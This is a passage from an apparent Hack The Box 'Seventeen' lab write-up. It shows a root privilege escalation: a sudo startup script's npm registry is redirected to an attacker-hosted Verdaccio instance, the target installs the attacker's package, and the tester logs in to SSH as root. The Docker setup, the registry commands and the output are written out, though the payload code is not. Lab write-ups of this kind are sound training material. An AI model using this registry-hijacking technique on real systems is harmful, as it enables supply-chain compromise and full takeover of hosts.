Malicious npm Package Upload
As discovered previously, the new staff management system that is under the development becomes operational with the /opt/app/startup.sh
script, which does check and install 2 packages, db-logger
and loglevel
. I was unable to execute the bash script initially due to the privilege limitation as the mark
user. It was later then executed successfully with the sudo privileges of the kavi
user
Due to the sudo privileges of the kavi
user, the process is then executed with privileges of the root
user. This allows attackers an opportunity to escalate privileges by hijacking the npm registry to an attacker controlled registry where a malicious npm packages is being hosted for deployment.
In order to exploit the misconfiguration, the following conditions are required;
- npm registry that I control, hosting the payload
- Malicious npm package (payload)
- package structure
- package generation
- package publishing
- The global registry in the target system is set to my registry
Hosting a Verdaccio Registry with Docker
┌──(kali㉿kali)-[~/archive/htb/labs/seventeen]
└─$ docker run -it --entrypoint "/bin/sh" -p 4873:4873 --name seventeen ubuntu
# apt update -y ; apt upgrade -y ; apt install -y net-tools netcat nano gcc gcc-multilib make git npm
[...REDACTED...]
done.
Since I don’t want to pollute my system with tons of packages, I will get it up and running through a Docker container
# cd root
# npm i -g verdaccio@5.6.0
npm WARN deprecated har-validator@5.1.5: this library is no longer supported
npm WARN deprecated uuid@3.4.0: Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.
npm WARN deprecated w3c-hr-time@1.0.2: Use your platform's native performance.now() and performance.timeOrigin.
npm WARN deprecated request-promise-native@1.0.9: request-promise-native has been deprecated because it extends the now deprecated request package, see https://github.com/request/request/issues/3142
npm WARN deprecated request@2.88.0: request has been deprecated, see https://github.com/request/request/issues/3142
added 285 packages, and audited 286 packages in 17s
16 packages are looking for funding
run `npm fund` for details
11 vulnerabilities (6 moderate, 5 high)
To address all issues (including breaking changes), run:
npm audit fix --force
Run `npm audit` for details.
Now, on to installing verdaccio 5.6.0
npm marks it “deprecated” as verdaccio 5.6.0
is rather old and the installed npm and node are much newer
npm also picked 11 vulnerabilities
This doesn’t matter much as the purpose of all these is just to deliver the payload
# verdaccio --listen 0.0.0.0:4873 &
warn --- config file - /root/verdaccio/config.yaml
(node:8173) Warning: Verdaccio doesn't need superuser privileges. don't run it under root
(node:8173) Warning: Verdaccio doesn't need superuser privileges. don't run it under root
warn --- Plugin successfully loaded: verdaccio-htpasswd
warn --- Plugin successfully loaded: verdaccio-audit
warn --- http address - http://0.0.0.0:4873/ - verdaccio/5.6.0
Starting the instance on the 0.0.0.0:4873
socket over HTTP
Since the host’s port 4873
and the Docker container’s port 4873
are tunnel, the verdaccio instance should be accessible on any interface of port 4873
on the host system
I also put &
at the end to send the process to the background, so that I can still use the terminal
Confirmed.
10.10.14.13 is the
tuno
interface on the host system
verdaccio instance is all set
Payload
Refer to the payload
Global Registry
kavi@seventeen:~$ nano .npmrc
kavi@seventeen:~$ cat .npmrc
registry=http://10.10.14.13:4873/
kavi@seventeen:~$ npm config set registry http://10.10.14.13:4873 ; npm config get registry
http://10.10.14.13:4873/
Changing the registry
environment variable to point to the Kali’s verdaccio instance
set.
Delivery
kavi@seventeen:~$ sudo -u root /opt/app/startup.sh
[=] Checking for db-logger
[+] db-logger already installed
[=] Checking for loglevel
[+] Installing loglevel
/opt/app
├── loglevel@2.0.5
└── mysql@2.18.1
[+] Starting the app
/opt/app/index.js:26
logger.log("info: Server running on port " + port)
^
typeerror: logger.log is not a function
at server.<anonymous> (/opt/app/index.js:26:16)
at object.oncewrapper (events.js:313:30)
at emitnone (events.js:106:13)
at server.emit (events.js:208:7)
at emitlisteningnt (net.js:1394:10)
at _combinedtickcallback (internal/process/next_tick.js:135:11)
at process._tickcallback (internal/process/next_tick.js:180:9)
at function.module.runmain (module.js:695:11)
at startup (bootstrap_node.js:188:16)
at bootstrap_node.js:609:3
Executing the sudo command indeed pulls the payload from the kali’s verdaccio instance and installs it.
The command also starts the app but it exits out with an error as it’s unable to find the log()
function.
That is perfectly normal as I did not specify such function in the payload
Checking the log from the kali’s verdaccio instance confirms the pull request from the target system along with the code 200
This likely means that the payload was executed and I can SSH to the target system as the
root
user using my own SSH key
┌──(kali㉿kali)-[~/archive/htb/labs/seventeen]
└─$ ssh root@$IP -i ~/.ssh/id_ed25519
enter passphrase for key '/home/kali/.ssh/id_ed25519':
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-177-generic x86_64)
* documentation: https://help.ubuntu.com
* management: https://landscape.canonical.com
* support: https://ubuntu.com/advantage
system information as of wed jun 21 01:37:21 UTC 2023
system load: 0.15
usage of /: 59.7% of 11.75GB
memory usage: 47%
swap usage: 0%
processes: 347
users logged in: 1
ip address for eth0: 10.10.11.165
ip address for br-3539a4850ffa: 172.20.0.1
ip address for docker0: 172.17.0.1
ip address for br-b3834f770aa3: 172.18.0.1
ip address for br-cc437cf0c6a8: 172.19.0.1
18 updates can be applied immediately.
12 of these updates are standard security updates.
to see these additional updates run: apt list --upgradable
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
root@seventeen:~# whoami
root
root@seventeen:~# hostname
seventeen
root@seventeen:~# ifconfig
br-3539a4850ffa: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.20.0.1 netmask 255.255.0.0 broadcast 172.20.255.255
ether 02:42:48:7c:5d:43 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
br-b3834f770aa3: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.18.0.1 netmask 255.255.0.0 broadcast 172.18.255.255
ether 02:42:ff:1b:b6:aa txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
br-cc437cf0c6a8: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.19.0.1 netmask 255.255.0.0 broadcast 172.19.255.255
ether 02:42:75:72:0d:77 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:bc:23:29:ca txqueuelen 0 (Ethernet)
RX packets 117 bytes 685423 (685.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 112 bytes 11511 (11.5 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.165 netmask 255.255.254.0 broadcast 10.10.11.255
ether 00:50:56:b9:d1:5a txqueuelen 1000 (Ethernet)
RX packets 6081 bytes 2174573 (2.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5445 bytes 984379 (984.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 48538 bytes 4127194 (4.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 48538 bytes 4127194 (4.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth0535f71: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether ca:74:32:b4:9b:a8 txqueuelen 0 (Ethernet)
RX packets 117 bytes 687061 (687.0 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 112 bytes 11511 (11.5 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth0bcd743: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether 22:43:c0:e0:3c:bf txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3 bytes 190 (190.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth3bc2ee9: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether 72:fc:45:59:9e:4a txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3 bytes 190 (190.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth690fca6: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether ba:db:2b:1f:af:21 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3 bytes 190 (190.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth6b29374: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether 0a:41:74:12:11:75 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3 bytes 190 (190.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth717d310: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether 76:57:68:93:b3:da txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3 bytes 190 (190.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth76bd24e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether a6:ca:96:65:ce:98 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3 bytes 190 (190.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth8c908ec: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether de:39:ed:29:3a:5f txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3 bytes 190 (190.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
vethd8c93bb: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether 3e:2a:a5:04:97:b9 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3 bytes 190 (190.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
vethe397036: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether 6a:5f:a7:d3:66:0d txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3 bytes 190 (190.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
vethe3f27b5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether ce:47:28:ed:64:73 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3 bytes 190 (190.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
vethfa2e2f9: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether c6:49:b5:4f:b0:e0 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
System Level Compromise